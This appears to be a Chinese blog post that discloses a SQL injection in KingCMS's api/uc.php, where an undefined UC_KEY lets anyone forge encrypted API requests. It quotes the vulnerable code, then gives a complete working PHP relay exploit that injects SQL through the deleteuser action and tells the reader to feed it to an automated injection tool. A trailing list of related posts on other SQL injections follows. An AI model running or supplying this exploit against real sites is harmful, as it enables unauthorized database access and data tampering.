kingcms php 列表页bug,kingcms最新版sql注入漏洞
api/uc.php
UC_KEY没有初始化导致注入<?phpdefine ('UC_CLIENT_VERSION', '1.5.0');//note UCenter 版本标识
define('UC_CLIENT_RELEASE', '20090502');define('API_DELETEUSER', 1);//note 用户删除 API 接口开关
define('API_RENAMEUSER', 1);//note 用户改名 API 接口开关
define('API_GETTAG', 1);//note 获取标签 API 接口开关
define('API_SYNLOGIN', 1);//note 同步登录 API 接口开关
define('API_SYNLOGOUT', 1);//note 同步登出 API 接口开关
define('API_UPDATEPW', 1);//note 更改用户密码 开关
define('API_UPDATEBADWORDS', 1);//note 更新关键字列表 开关
define('API_UPDATEHOSTS', 1);//note 更新域名解析缓存 开关
define('API_UPDATEAPPS', 1);//note 更新应用列表 开关
define('API_UPDATECLIENT', 1);//note 更新客户端缓存 开关
define('API_UPDATECREDIT', 0);//note 更新用户积分 开关
define('API_GETCREDITSETTINGS', 0);//note 向 UCenter 提供积分设置 开关
define('API_GETCREDIT', 0);//note 获取用户的某项积分 开关
define('API_UPDATECREDITSETTINGS', 0);//note 更新应用积分设置 开关define('API_RETURN_SUCCEED', '1');
define('API_RETURN_FAILED', '-1');
define('API_RETURN_FORBIDDEN', '-2');define('KC_INDEX',True);
define('KC_CALL_FUNC',True);require_once '../global.php';//加载KingCMS$king->load('user');//加载用户类
//note 普通的 http 通知方式
error_reporting(0);
restore_error_handler();
set_magic_quotes_runtime(0);
define('ROOT', substr(dirname(__FILE__), 0, -3));
defined('MAGIC_QUOTES_GPC') || define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
define('UC_CLIENT_ROOT', ROOT.'user/client/');$_DCACHE = $get = $post = array();
//解码传入参数
$code = @$_GET['code'];
//var_dump(UC_KEY);
parse_str(_authcode($code, 'DECODE', UC_KEY), $get);//这里没有DEF UC_KEY 所以直接把UC_KEY作为一个字符串传入
if(MAGIC_QUOTES_GPC) {
$get = _stripslashes($get);
}
这样我们就能执行UC API来进行注入了写一个中转程序进行注入代码如下<?php
$timestamp = time()+10*3600;
$host="**.**.**.**";
$uc_key="UC_KEY";
$code=urlencode(_authcode("time=999999999999999999999999&ids=1) and 1={$_GET['id']} and 1 =(1&action=deleteuser", 'ENCODE', $uc_key));
echo file_get_contents("http://**.**.**.**//kingcms/api/uc.php?code={$code}");function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);$result = '';
$box = range(0, 255);$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}}
?>
保存为1.php
利用方法
http://**.**.**.**/x.php?id=1
丢到大萝卜里面跑就OKl饿
kingcms php 列表页bug,kingcms最新版sql注入漏洞相关推荐
- 从一个Laravel SQL注入漏洞开始的Bug Bounty之旅
事先声明:本次测试过程完全处于本地或授权环境,仅供学习与参考,不存在未授权测试过程.本文提到的漏洞<Cachet SQL注入漏洞(CVE-2021-39165)>已经修复,也请读者勿使用该 ...
- php 越权 漏洞,PHPYUN最新版SQL注入及多处越权操作终结篇
### 简要描述: PHPYUN最新版(phpyun_v3.1.0604_gbk)SQL注入及多处越权操作 虽然PHPYUN在注入防御上已经做得很不错了,方的很严格,像吃掉引号,宽字节的基本上很少了, ...
- 登录页面的SQL注入漏洞
一.环境准备 1.在Linux准备一套Xampp或者Phpstudy:模拟攻防 2.在vscode安装Rremote Development插件,进行远程调试 新添加主机 ssh root@192.1 ...
- php拒绝式服务漏洞防御,PHPYUN最新版SQL注入(绕过防御)
### 简要描述: PHPYUN最新版(phpyun_v3.1.0604_gbk)SQL注入(绕过防御) ### 详细说明: PHPYUN最新版:phpyun_v3.1.0604_gbk 文件/mem ...
- phpmywind最新版sql注入以及后台目录遍历和文件读取
最新版本 5.3 看wooyun厂商这忽略的架势就觉得是有点放弃治疗的想法啊. 前台会员注入 分析 http://www.wooyun.org/bugs/wooyun-2015-0117008 我看了 ...
- php 越权 漏洞,PHPYUN最新版多处SQL注入及越权操作二
### 简要描述: PHPYUN最新版(phpyun_v3.1.0604_gbk)多处SQL注入及越权操作 虽然PHPYUN在注入防御上已经做得很不错了,方的很严格,像吃掉引号,宽字节的基本上很少了, ...
- bypass最新版d盾mysql_Bypass 护卫神SQL注入防御(多姿势)
0x00 前言 护卫神一直专注服务器安全领域, 其中有一款产品,护卫神·入侵防护系统 ,提供了一些网站安全防护的功能,在IIS加固模块中有一个SQL防注入功能. 这边主要分享一下几种思路,Bypa ...
- 列表页进入详情页再返回列表页时,显示默认第一页的bug修复
如图所示,当我点击分页第二页的第一项,进入详情页后,在点击返回按钮,按理说应该返回到列表页第二页,但是却变成了默认的首页 究其原因,大概是在返回列表页时,接口传参的当前页码pageNum默认传的是1, ...
- 京东三级列表页持续架构优化—Golang+Lua(OpenResty)最佳实践
分类列表入口 分类列表入口,可以通过京东首页首屏左侧导航进入,是用户购买商品的几大入口之一. 分类列表,展示各个分类的商品,有综合排序.价格排序.销量排序.上架时间排序.图书还有出版时间排序.可以按照 ...
最新文章
- erp框架 saas_【观察】一周之后,浪潮云ERP将直面数字化转型2.0四大攻坚战
- swoole 异步MYSQL
- 爱奇艺android投屏,手机爱奇艺APP怎么将视频投屏上笔记本电脑?
- ELK(ElasticSearch+Logstash+ Kibana)搭建实时日志分析平台
- 刷新纪录 | 74.7 秒训练完 ImageNet!2048 GPU 暴力出奇迹
- idea怎么看sql执行打印_SQL查找是否quot;存在quot;,别再count了,很耗费时间的
- NOD32最新升级ID
- 如何判断一条曲线是否自己相交?
- Qt图形界面编程入门(1)
- 閱讀10大優點:為什麼你應該每天閱讀
- 分布式事务 - 梁飞的博客 - ITeye博客
- eclipse输入中文乱码,问题已解决
- 安装配置java,tomcat,eclipse
- linux dstat工具
- uva 10252 - Common Permutation 字符串水题
- Vs2013(VS2012,vs2011,vs2010)+opencv2.4.8配置
- 比较好用的Java模拟器,515最好的java模拟器
- ShuffleNet在Caffe框架下的实现
- Mac OS X 快捷键(完整篇)
- 2022-01-24:K 距离间隔重排字符串。 给你一个非空的字符串 s 和一个整数 k,你要将这个字符串中的字母进行重新排列,使得重排后的字符串中相同字母的位置间隔距离至少为 k。 所有输入的字符串